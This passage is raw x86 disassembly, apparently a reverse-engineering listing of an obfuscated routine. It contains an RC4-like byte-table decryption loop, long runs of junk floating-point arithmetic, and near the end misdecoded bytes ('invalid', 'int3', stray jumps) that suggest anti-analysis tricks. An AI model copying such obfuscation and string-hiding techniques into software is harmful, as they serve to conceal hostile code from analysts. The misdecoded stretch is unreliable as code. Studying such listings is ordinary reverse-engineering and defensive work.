subsd xmm0, qword [ebp - 0x4004]
movsd qword [ebp - 0x3ac8], xmm0
movsd xmm0, qword [ebp - 0x3b30]
addsd xmm0, qword [ebp - 0x3d08]
movsd qword [ebp - 0x3b30], xmm0
jmp 0x42a1ea
movsd xmm0, qword [ebp - 0x4004]
subsd xmm0, qword [ebp - 0x3d08]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x4004]
addsd xmm0, qword [ebp - 0x3d08]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x4004]
subsd xmm0, qword [ebp - 0x3d08]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x3a30]
addsd xmm0, qword [ebp - 0x3ac8]
movsd qword [ebp - 0x3a30], xmm0
movsd xmm0, qword [ebp - 0x3b30]
addsd xmm0, qword [ebp - 0x3a30]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [ebp - 0x3a30]
mulsd xmm0, qword [ebp - 0x3ac8]
movsd qword [ebp - 0x3a30], xmm0
movzx edx, byte [ebp - 0x326a]
mov al, byte [ebp - 0x32d2]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x32d2]
movzx edx, byte [ebp + ecx - 0x5420]
movzx eax, byte [ebp - 0x32d3]
add eax, edx
mov byte [ebp - 0x32d3], al
movzx ecx, byte [ebp - 0x32d4]
movzx edx, byte [ebp - 0x3283]
movzx eax, byte [ebp + edx - 0x5420]
movzx edx, byte [ebp - 0x326a]
movzx edx, byte [ebp + edx - 0x5420]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5420]
xor ecx, eax
movzx edx, byte [ebp - 0x327e]
movzx eax, byte [ebp + edx - 0x5420]
movzx edx, byte [ebp - 0x3297]
movzx edx, byte [ebp + edx - 0x5420]
add eax, edx
movzx edx, byte [ebp - 0x32d3]
movzx edx, byte [ebp + edx - 0x5420]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5420]
movzx edx, byte [ebp + eax - 0x5420]
xor ecx, edx
mov byte [ebp - 0x327e], cl
mov al, byte [ebp - 0x32d4]
mov byte [ebp - 0x3297], al
mov cl, byte [ebp - 0x327e]
mov byte [ebp - 0x3318], cl
cmp dword [ebp - 0x337c], 0
jle 0x42a2c3
movsx dx, byte [ebp - 0x3318]
mov eax, dword [ebp - 0x337c]
mov word [ebp + eax*2 - 0xbe], dx
mov ecx, dword [ebp - 0x3560]
add ecx, 4
mov dword [ebp - 0x3560], ecx
mov edx, dword [ebp - 0x337c]
add edx, 1
mov dword [ebp - 0x4ab8], edx
jmp 0x42a2f2
mov eax, dword [ebp - 0x4ab8]
add eax, 1
mov dword [ebp - 0x4ab8], eax
mov ecx, dword [ebp - 0x4ab8]
cmp ecx, dword [ebp - 0x3560]
jge 0x42a8a1
mov edx, dword [ebp - 0x337c]
add edx, 1
mov dword [ebp - 0x337c], edx
mov eax, dword [ebp - 0x337c]
shl eax, 1
mov dword [ebp - 0x3970], eax
mov ecx, dword [ebp - 0x3974]
add ecx, dword [ebp - 0x3970]
movzx edx, byte [ecx]
mov dword [ebp - 0x37b8], edx
mov dword [ebp - 0x37b4], 0x18
mov eax, dword [ebp - 0x337c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3978], ecx
mov edx, dword [ebp - 0x3974]
add edx, dword [ebp - 0x3978]
movzx eax, byte [edx]
mov dword [ebp - 0x37b0], eax
mov dword [ebp - 0x3788], 0x4d
mov ecx, dword [ebp - 0x37b8]
sub ecx, dword [ebp - 0x37b4]
mov dword [ebp - 0x37bc], ecx
mov edx, dword [ebp - 0x37b0]
sub edx, dword [ebp - 0x3788]
mov dword [ebp - 0x3780], edx
mov eax, dword [ebp - 0x37bc]
shl eax, 4
mov dword [ebp - 0x3900], eax
mov ecx, dword [ebp - 0x3780]
mov dword [ebp - 0x392c], ecx
movss xmm0, dword [0xa6f32c]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [0xa6f2c4]
movss dword [ebp - 0x3b94], xmm0
movss xmm0, dword [0xa6f1e8]
movss dword [ebp - 0x34ec], xmm0
movss xmm0, dword [0xa6f130]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [0xa6f048]
movss dword [ebp - 0x37c0], xmm0
movss xmm0, dword [ebp - 0x34ec]
addss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x34ec], xmm0
movss xmm0, dword [ebp - 0x3a00]
addss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [ebp - 0x3a00]
mulss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [ebp - 0x39fc]
subss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [ebp - 0x34ec]
mulss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x34ec], xmm0
movss xmm0, dword [ebp - 0x34ec]
comiss xmm0, dword [ebp - 0x37c0]
jbe 0x42a51a
movss xmm0, dword [ebp - 0x3b94]
subss xmm0, dword [ebp - 0x3a00]
movss dword [ebp - 0x3b94], xmm0
movss xmm0, dword [ebp - 0x37c0]
mulss xmm0, dword [ebp - 0x3b94]
movss dword [ebp - 0x37c0], xmm0
movss xmm0, dword [ebp - 0x39fc]
subss xmm0, dword [ebp - 0x34ec]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [ebp - 0x39fc]
subss xmm0, dword [ebp - 0x34ec]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [ebp - 0x34ec]
addss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x34ec], xmm0
mov edx, dword [ebp - 0x3900]
or edx, dword [ebp - 0x392c]
mov dword [ebp - 0x3930], edx
jmp 0x42a70d
movss xmm0, dword [ebp - 0x3b94]
subss xmm0, dword [ebp - 0x3a00]
movss dword [ebp - 0x3b94], xmm0
movss xmm0, dword [ebp - 0x34ec]
mulss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x34ec], xmm0
movss xmm0, dword [ebp - 0x39fc]
subss xmm0, dword [ebp - 0x34ec]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [ebp - 0x34ec]
subss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x34ec], xmm0
movss xmm0, dword [ebp - 0x3a00]
addss xmm0, dword [ebp - 0x39fc]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [ebp - 0x34ec]
addss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x34ec], xmm0
movss xmm0, dword [ebp - 0x3b94]
mulss xmm0, dword [ebp - 0x3a00]
movss dword [ebp - 0x3b94], xmm0
movss xmm0, dword [ebp - 0x39fc]
mulss xmm0, dword [ebp - 0x34ec]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [ebp - 0x39fc]
divss xmm0, dword [ebp - 0x34ec]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [ebp - 0x34ec]
mulss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x34ec], xmm0
movss xmm0, dword [ebp - 0x37c0]
comiss xmm0, dword [ebp - 0x3b94]
jbe 0x42a695
movss xmm0, dword [ebp - 0x3a00]
mulss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [ebp - 0x3b94]
subss xmm0, dword [ebp - 0x34ec]
movss dword [ebp - 0x3b94], xmm0
movss xmm0, dword [ebp - 0x3a00]
divss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [ebp - 0x3b94]
mulss xmm0, dword [ebp - 0x34ec]
movss dword [ebp - 0x3b94], xmm0
movss xmm0, dword [ebp - 0x3b94]
divss xmm0, dword [ebp - 0x34ec]
movss dword [ebp - 0x3b94], xmm0
jmp 0x42a70d
movss xmm0, dword [ebp - 0x37c0]
mulss xmm0, dword [ebp - 0x3b94]
movss dword [ebp - 0x37c0], xmm0
movss xmm0, dword [ebp - 0x3a00]
subss xmm0, dword [ebp - 0x39fc]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [ebp - 0x34ec]
mulss xmm0, dword [ebp - 0x37c0]
movss dword [ebp - 0x34ec], xmm0
movss xmm0, dword [ebp - 0x3a00]
mulss xmm0, dword [ebp - 0x39fc]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [ebp - 0x39fc]
mulss xmm0, dword [ebp - 0x34ec]
movss dword [ebp - 0x39fc], xmm0
mov al, byte [ebp - 0x3930]
mov byte [ebp - 0x32d4], al
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + ecx - 0x5420]
mov byte [ebp - 0x32d2], dl
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp + eax - 0x5420]
movzx edx, byte [ebp - 0x3283]
add edx, ecx
mov byte [ebp - 0x3283], dl
mov al, byte [ebp - 0x326a]
add al, 1
mov byte [ebp - 0x326a], al
movzx ecx, byte [ebp - 0x3283]
movzx edx, byte [ebp - 0x3297]
mov al, byte [ebp + ecx - 0x5420]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x327e]
movzx edx, byte [ebp - 0x3283]
mov al, byte [ebp + ecx - 0x5420]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x326a]
movzx edx, byte [ebp - 0x327e]
mov al, byte [ebp + ecx - 0x5420]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x326a]
mov dl, byte [ebp - 0x32d2]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x32d2]
movzx ecx, byte [ebp + eax - 0x5420]
movzx edx, byte [ebp - 0x32d3]
add edx, ecx
mov byte [ebp - 0x32d3], dl
movzx eax, byte [ebp - 0x32d4]
movzx ecx, byte [ebp - 0x3283]
movzx edx, byte [ebp + ecx - 0x5420]
movzx ecx, byte [ebp - 0x326a]
movzx ecx, byte [ebp + ecx - 0x5420]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5420]
xor eax, edx
movzx ecx, byte [ebp - 0x327e]
movzx edx, byte [ebp + ecx - 0x5420]
movzx ecx, byte [ebp - 0x3297]
movzx ecx, byte [ebp + ecx - 0x5420]
add edx, ecx
movzx ecx, byte [ebp - 0x32d3]
movzx ecx, byte [ebp + ecx - 0x5420]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5420]
movzx ecx, byte [ebp + edx - 0x5420]
xor eax, ecx
mov byte [ebp - 0x327e], al
mov dl, byte [ebp - 0x32d4]
mov byte [ebp - 0x3297], dl
mov al, byte [ebp - 0x327e]
mov byte [ebp - 0x3318], al
cmp dword [ebp - 0x337c], 0
jle 0x42a89c
movsx cx, byte [ebp - 0x3318]
mov edx, dword [ebp - 0x337c]
mov word [ebp + edx*2 - 0xbe], cx
jmp 0x42a2e3
mov eax, dword [ebp - 0x3560]
add eax, 1
mov dword [ebp - 0x3560], eax
mov ecx, dword [ebp - 0x337c]
add ecx, 1
mov dword [ebp - 0x337c], ecx
mov edx, dword [ebp - 0x3560]
add edx, 1
mov dword [ebp - 0x3560], edx
mov eax, dword [ebp - 0x337c]
shl eax, 1
mov dword [ebp - 0x3970], eax
mov ecx, dword [ebp - 0x3974]
add ecx, dword [ebp - 0x3970]
movzx edx, byte [ecx]
mov dword [ebp - 0x37b8], edx
mov dword [ebp - 0x37b4], 0x18
mov eax, dword [ebp - 0x337c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3978], ecx
mov edx, dword [ebp - 0x3974]
add edx, dword [ebp - 0x3978]
movzx eax, byte [edx]
mov dword [ebp - 0x37b0], eax
mov dword [ebp - 0x3788], 0x4d
mov ecx, dword [ebp - 0x37b8]
sub ecx, dword [ebp - 0x37b4]
mov dword [ebp - 0x37bc], ecx
mov edx, dword [ebp - 0x37b0]
sub edx, dword [ebp - 0x3788]
mov dword [ebp - 0x3780], edx
mov eax, dword [ebp - 0x37bc]
shl eax, 4
mov dword [ebp - 0x3900], eax
mov ecx, dword [ebp - 0x3780]
mov dword [ebp - 0x392c], ecx
mov edx, dword [ebp - 0x3900]
or edx, dword [ebp - 0x392c]
mov dword [ebp - 0x3930], edx
mov al, byte [ebp - 0x3930]
mov byte [ebp - 0x32d4], al
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + ecx - 0x5420]
mov byte [ebp - 0x32d2], dl
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp + eax - 0x5420]
movzx edx, byte [ebp - 0x3283]
add edx, ecx
mov byte [ebp - 0x3283], dl
mov al, byte [ebp - 0x326a]
add al, 1
mov byte [ebp - 0x326a], al
movzx ecx, byte [ebp - 0x3283]
movzx edx, byte [ebp - 0x3297]
mov al, byte [ebp + ecx - 0x5420]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x327e]
movzx edx, byte [ebp - 0x3283]
mov al, byte [ebp + ecx - 0x5420]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x326a]
movzx edx, byte [ebp - 0x327e]
mov al, byte [ebp + ecx - 0x5420]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x326a]
mov dl, byte [ebp - 0x32d2]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x32d2]
movzx ecx, byte [ebp + eax - 0x5420]
movzx edx, byte [ebp - 0x32d3]
add edx, ecx
mov byte [ebp - 0x32d3], dl
movzx eax, byte [ebp - 0x32d4]
movzx ecx, byte [ebp - 0x3283]
movzx edx, byte [ebp + ecx - 0x5420]
movzx ecx, byte [ebp - 0x326a]
movzx ecx, byte [ebp + ecx - 0x5420]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5420]
xor eax, edx
movzx ecx, byte [ebp - 0x327e]
movzx edx, byte [ebp + ecx - 0x5420]
movzx ecx, byte [ebp - 0x3297]
movzx ecx, byte [ebp + ecx - 0x5420]
add edx, ecx
movzx ecx, byte [ebp - 0x32d3]
movzx ecx, byte [ebp + ecx - 0x5420]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5420]
movzx ecx, byte [ebp + edx - 0x5420]
xor eax, ecx
mov byte [ebp - 0x327e], al
mov dl, byte [ebp - 0x32d4]
mov byte [ebp - 0x3297], dl
mov al, byte [ebp - 0x327e]
mov byte [ebp - 0x3318], al
cmp dword [ebp - 0x337c], 0
jle 0x42ab0a
movsx cx, byte [ebp - 0x3318]
mov edx, dword [ebp - 0x337c]
mov word [ebp + edx*2 - 0xbe], cx
mov eax, dword [ebp - 0x337c]
add eax, 1
mov dword [ebp - 0x337c], eax
mov ecx, dword [ebp - 0x3560]
add ecx, 1
mov dword [ebp - 0x3560], ecx
mov edx, dword [ebp - 0x337c]
shl edx, 1
mov dword [ebp - 0x3970], edx
mov eax, dword [ebp - 0x3974]
add eax, dword [ebp - 0x3970]
movzx ecx, byte [eax]
mov dword [ebp - 0x37b8], ecx
mov dword [ebp - 0x37b4], 0x18
mov edx, dword [ebp - 0x337c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3978], eax
mov ecx, dword [ebp - 0x3974]
add ecx, dword [ebp - 0x3978]
movzx edx, byte [ecx]
mov dword [ebp - 0x37b0], edx
mov dword [ebp - 0x3788], 0x4d
mov eax, dword [ebp - 0x37b8]
sub eax, dword [ebp - 0x37b4]
mov dword [ebp - 0x37bc], eax
mov ecx, dword [ebp - 0x37b0]
sub ecx, dword [ebp - 0x3788]
mov dword [ebp - 0x3780], ecx
mov edx, dword [ebp - 0x37bc]
shl edx, 4
mov dword [ebp - 0x3900], edx
mov eax, dword [ebp - 0x3780]
mov dword [ebp - 0x392c], eax
mov ecx, dword [ebp - 0x3900]
or ecx, dword [ebp - 0x392c]
mov dword [ebp - 0x3930], ecx
mov dl, byte [ebp - 0x3930]
mov byte [ebp - 0x32d4], dl
movzx eax, byte [ebp - 0x3297]
mov cl, byte [ebp + eax - 0x5420]
mov byte [ebp - 0x32d2], cl
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp + edx - 0x5420]
movzx ecx, byte [ebp - 0x3283]
add ecx, eax
mov byte [ebp - 0x3283], cl
mov dl, byte [ebp - 0x326a]
add dl, 1
mov byte [ebp - 0x326a], dl
movzx eax, byte [ebp - 0x3283]
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + eax - 0x5420]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp - 0x3283]
mov dl, byte [ebp + eax - 0x5420]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp - 0x327e]
mov dl, byte [ebp + eax - 0x5420]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x326a]
mov cl, byte [ebp - 0x32d2]
mov byte [ebp + eax - 0x5420], cl
movzx edx, byte [ebp - 0x32d2]
movzx eax, byte [ebp + edx - 0x5420]
movzx ecx, byte [ebp - 0x32d3]
add ecx, eax
mov byte [ebp - 0x32d3], cl
movzx edx, byte [ebp - 0x32d4]
movzx eax, byte [ebp - 0x3283]
movzx ecx, byte [ebp + eax - 0x5420]
movzx eax, byte [ebp - 0x326a]
movzx eax, byte [ebp + eax - 0x5420]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5420]
xor edx, ecx
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp + eax - 0x5420]
movzx eax, byte [ebp - 0x3297]
movzx eax, byte [ebp + eax - 0x5420]
add ecx, eax
movzx eax, byte [ebp - 0x32d3]
movzx eax, byte [ebp + eax - 0x5420]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5420]
movzx eax, byte [ebp + ecx - 0x5420]
xor edx, eax
mov byte [ebp - 0x327e], dl
mov cl, byte [ebp - 0x32d4]
mov byte [ebp - 0x3297], cl
mov dl, byte [ebp - 0x327e]
mov byte [ebp - 0x3318], dl
cmp dword [ebp - 0x337c], 0
jle 0x42ad65
movsx ax, byte [ebp - 0x3318]
mov ecx, dword [ebp - 0x337c]
mov word [ebp + ecx*2 - 0xbe], ax
mov edx, dword [ebp - 0x337c]
add edx, 1
mov dword [ebp - 0x337c], edx
mov eax, dword [ebp - 0x3560]
add eax, 1
mov dword [ebp - 0x3560], eax
mov ecx, dword [ebp - 0x337c]
shl ecx, 1
mov dword [ebp - 0x3970], ecx
mov edx, dword [ebp - 0x3974]
add edx, dword [ebp - 0x3970]
movzx eax, byte [edx]
mov dword [ebp - 0x37b8], eax
mov dword [ebp - 0x37b4], 0x18
mov ecx, dword [ebp - 0x337c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3978], edx
mov eax, dword [ebp - 0x3974]
add eax, dword [ebp - 0x3978]
movzx ecx, byte [eax]
mov dword [ebp - 0x37b0], ecx
mov dword [ebp - 0x3788], 0x4d
mov edx, dword [ebp - 0x37b8]
sub edx, dword [ebp - 0x37b4]
mov dword [ebp - 0x37bc], edx
mov eax, dword [ebp - 0x37b0]
sub eax, dword [ebp - 0x3788]
mov dword [ebp - 0x3780], eax
mov ecx, dword [ebp - 0x37bc]
shl ecx, 4
mov dword [ebp - 0x3900], ecx
mov edx, dword [ebp - 0x3780]
mov dword [ebp - 0x392c], edx
mov eax, dword [ebp - 0x3900]
or eax, dword [ebp - 0x392c]
mov dword [ebp - 0x3930], eax
mov cl, byte [ebp - 0x3930]
mov byte [ebp - 0x32d4], cl
movzx edx, byte [ebp - 0x3297]
mov al, byte [ebp + edx - 0x5420]
mov byte [ebp - 0x32d2], al
movzx ecx, byte [ebp - 0x326a]
movzx edx, byte [ebp + ecx - 0x5420]
movzx eax, byte [ebp - 0x3283]
add eax, edx
mov byte [ebp - 0x3283], al
mov cl, byte [ebp - 0x326a]
add cl, 1
mov byte [ebp - 0x326a], cl
movzx edx, byte [ebp - 0x3283]
movzx eax, byte [ebp - 0x3297]
mov cl, byte [ebp + edx - 0x5420]
mov byte [ebp + eax - 0x5420], cl
movzx edx, byte [ebp - 0x327e]
movzx eax, byte [ebp - 0x3283]
mov cl, byte [ebp + edx - 0x5420]
mov byte [ebp + eax - 0x5420], cl
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp - 0x327e]
mov cl, byte [ebp + edx - 0x5420]
mov byte [ebp + eax - 0x5420], cl
movzx edx, byte [ebp - 0x326a]
mov al, byte [ebp - 0x32d2]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x32d2]
movzx edx, byte [ebp + ecx - 0x5420]
movzx eax, byte [ebp - 0x32d3]
add eax, edx
mov byte [ebp - 0x32d3], al
movzx ecx, byte [ebp - 0x32d4]
movzx edx, byte [ebp - 0x3283]
movzx eax, byte [ebp + edx - 0x5420]
movzx edx, byte [ebp - 0x326a]
movzx edx, byte [ebp + edx - 0x5420]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5420]
xor ecx, eax
movzx edx, byte [ebp - 0x327e]
movzx eax, byte [ebp + edx - 0x5420]
movzx edx, byte [ebp - 0x3297]
movzx edx, byte [ebp + edx - 0x5420]
add eax, edx
movzx edx, byte [ebp - 0x32d3]
movzx edx, byte [ebp + edx - 0x5420]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5420]
movzx edx, byte [ebp + eax - 0x5420]
xor ecx, edx
mov byte [ebp - 0x327e], cl
mov al, byte [ebp - 0x32d4]
mov byte [ebp - 0x3297], al
mov cl, byte [ebp - 0x327e]
mov byte [ebp - 0x3318], cl
cmp dword [ebp - 0x337c], 0
jle 0x42afbe
movsx dx, byte [ebp - 0x3318]
mov eax, dword [ebp - 0x337c]
mov word [ebp + eax*2 - 0xbe], dx
mov ecx, dword [ebp - 0x337c]
add ecx, 1
mov dword [ebp - 0x337c], ecx
mov edx, dword [ebp - 0x3560]
add edx, 1
mov dword [ebp - 0x3560], edx
mov eax, dword [ebp - 0x337c]
shl eax, 1
mov dword [ebp - 0x3970], eax
mov ecx, dword [ebp - 0x3974]
add ecx, dword [ebp - 0x3970]
movzx edx, byte [ecx]
mov dword [ebp - 0x37b8], edx
mov dword [ebp - 0x37b4], 0x18
mov eax, dword [ebp - 0x337c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3978], ecx
mov edx, dword [ebp - 0x3974]
add edx, dword [ebp - 0x3978]
movzx eax, byte [edx]
mov dword [ebp - 0x37b0], eax
mov dword [ebp - 0x3788], 0x4d
mov ecx, dword [ebp - 0x37b8]
sub ecx, dword [ebp - 0x37b4]
mov dword [ebp - 0x37bc], ecx
mov edx, dword [ebp - 0x37b0]
sub edx, dword [ebp - 0x3788]
mov dword [ebp - 0x3780], edx
mov eax, dword [ebp - 0x37bc]
shl eax, 4
mov dword [ebp - 0x3900], eax
mov ecx, dword [ebp - 0x3780]
mov dword [ebp - 0x392c], ecx
mov edx, dword [ebp - 0x3900]
or edx, dword [ebp - 0x392c]
mov dword [ebp - 0x3930], edx
mov al, byte [ebp - 0x3930]
mov byte [ebp - 0x32d4], al
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + ecx - 0x5420]
mov byte [ebp - 0x32d2], dl
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp + eax - 0x5420]
movzx edx, byte [ebp - 0x3283]
add edx, ecx
mov byte [ebp - 0x3283], dl
mov al, byte [ebp - 0x326a]
add al, 1
mov byte [ebp - 0x326a], al
movzx ecx, byte [ebp - 0x3283]
movzx edx, byte [ebp - 0x3297]
mov al, byte [ebp + ecx - 0x5420]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x327e]
movzx edx, byte [ebp - 0x3283]
mov al, byte [ebp + ecx - 0x5420]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x326a]
movzx edx, byte [ebp - 0x327e]
mov al, byte [ebp + ecx - 0x5420]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x326a]
mov dl, byte [ebp - 0x32d2]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x32d2]
movzx ecx, byte [ebp + eax - 0x5420]
movzx edx, byte [ebp - 0x32d3]
add edx, ecx
mov byte [ebp - 0x32d3], dl
movzx eax, byte [ebp - 0x32d4]
movzx ecx, byte [ebp - 0x3283]
movzx edx, byte [ebp + ecx - 0x5420]
movzx ecx, byte [ebp - 0x326a]
movzx ecx, byte [ebp + ecx - 0x5420]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5420]
xor eax, edx
movzx ecx, byte [ebp - 0x327e]
movzx edx, byte [ebp + ecx - 0x5420]
movzx ecx, byte [ebp - 0x3297]
movzx ecx, byte [ebp + ecx - 0x5420]
add edx, ecx
movzx ecx, byte [ebp - 0x32d3]
movzx ecx, byte [ebp + ecx - 0x5420]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5420]
movzx ecx, byte [ebp + edx - 0x5420]
xor eax, ecx
mov byte [ebp - 0x327e], al
mov dl, byte [ebp - 0x32d4]
mov byte [ebp - 0x3297], dl
mov al, byte [ebp - 0x327e]
mov byte [ebp - 0x3318], al
cmp dword [ebp - 0x337c], 0
jle 0x42b218
movsx cx, byte [ebp - 0x3318]
mov edx, dword [ebp - 0x337c]
mov word [ebp + edx*2 - 0xbe], cx
mov eax, 2
imul ecx, eax, 0xe
mov dword [ebp - 0x520c], ecx
cmp dword [ebp - 0x520c], 0x1e
jae 0x42b231
jmp 0x42b236
call fcn.009f1ed7
xor edx, edx
mov eax, dword [ebp - 0x520c]
mov word [ebp + eax - 0xbc], dx
jmp 0x42b29c
mov dword [ebp - 0x4860], 0
jmp 0x42b263
mov ecx, dword [ebp - 0x4860]
add ecx, 1
mov dword [ebp - 0x4860], ecx
cmp dword [ebp - 0x4860], 0xf
jge 0x42b29c
mov edx, dword [ebp - 0x4860]
shl edx, 1
mov dword [ebp - 0x5208], edx
cmp dword [ebp - 0x5208], 0x1e
jae 0x42b285
jmp 0x42b28a
call fcn.009f1ed7
xor eax, eax
mov ecx, dword [ebp - 0x5208]
mov word [ebp + ecx - 0xbc], ax
jmp 0x42b254
mov dword [ebp - 0x3228], 0
mov dword [ebp - 0x322c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4704], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45f8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45f8], xmm0
jmp 0x42b2eb
movsd xmm0, qword [ebp - 0x45f8]
addsd xmm0, qword [0xa6e350]
movsd qword [ebp - 0x45f8], xmm0
movsd xmm0, qword [0xa6e8b8]
comisd xmm0, xmmword [ebp - 0x45f8]
jbe 0x42b39c
movsd xmm0, qword [0xa6e608]
mulsd xmm0, qword [ebp - 0x45f8]
mulsd xmm0, qword [ebp - 0x45f8]
movsd xmm1, qword [ebp - 0x45f8]
mulsd xmm1, qword [ebp - 0x45f8]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e3b0]
mulsd xmm1, qword [ebp - 0x45f8]
mulsd xmm1, qword [ebp - 0x45f8]
addsd xmm1, qword [0xa6e4f0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4704]
movsd qword [ebp - 0x4704], xmm0
movsd xmm0, qword [ebp - 0x4704]
comisd xmm0, xmmword [0xa6e540]
das
add eax, 0xa6e540
add byte [esi + 0x24], dh
jbe 0x42b397
movsd xmm0, qword [0xa6e2b0]
mulsd xmm0, qword [ebp - 0x45f8]
movsd xmm1, qword [ebp - 0x4704]
subsd xmm1, xmm0
movsd qword [ebp - 0x4704], xmm1
jmp 0x42b2d3
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4704]
jbe 0x42b3ce
mov ecx, 0xc77bc778
jp 0x42b370
jae 0x42b36b
js 0x42b41b
jno 0x42b40b
pop eax
popal
sub dh, byte [eax + 0x59]
cmp al, 0x56
push ecx
pop esi
jnp 0x42b3e3
inc ebp
dec ebx
xor byte [edx], ch
dec ebp
push ebp
jle 0x42b430
jmp 0x42c6ad
mov dword [ebp - 0x3228], 0x42b3a9
mov dword [ebp - 0x322c], 0x42b3b3
mov edx, dword [ebp - 0x3228]
mov dword [ebp - 0x4108], edx
mov eax, dword [ebp - 0x322c]
mov dword [ebp - 0x5fb0], eax
mov byte [ebp - 0x3feb], 0x1a
mov dword [ebp - 0x3934], 0
xchg ebp, eax
fmul st(5)
invalid
jmp 0x42b41c
mov ecx, dword [ebp - 0x3934]
add ecx, 1
mov dword [ebp - 0x3934], ecx
inc dword [ecx - 0x393343]
inc dword [eax]
add dword [eax], eax
add byte [ebx + 0x15], dh
cmp dword [ebp - 0x3934], 0x100
jae 0x42b43d
mov edx, dword [ebp - 0x3934]
mov al, byte [ebp - 0x3934]
mov byte [ebp + edx - 0x692c], al
jmp 0x42b40d
int3
mov dword [ebp - 0x44bc], 0
mov byte [ebp - 0x3368], 0
mov dword [ebp - 0x3934], 0xff
jmp 0x42b469
mov ecx, dword [ebp - 0x3934]
sub ecx, 1
mov dword [ebp - 0x3934], ecx
cmp dword [ebp - 0x3934], 0
jbe 0x42b6d9
mov dword [ebp - 0x4abc], 0
mov dword [ebp - 0x485c], 1
mov edx, dword [ebp - 0x485c]
cmp edx, dword [ebp - 0x3934]
jae 0x42b4aa
mov eax, dword [ebp - 0x485c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x485c], ecx
jmp 0x42b48a
mov edx, dword [ebp - 0x44bc]
mov dword [ebp - 0x5204], edx
cmp dword [ebp - 0x5204], 3
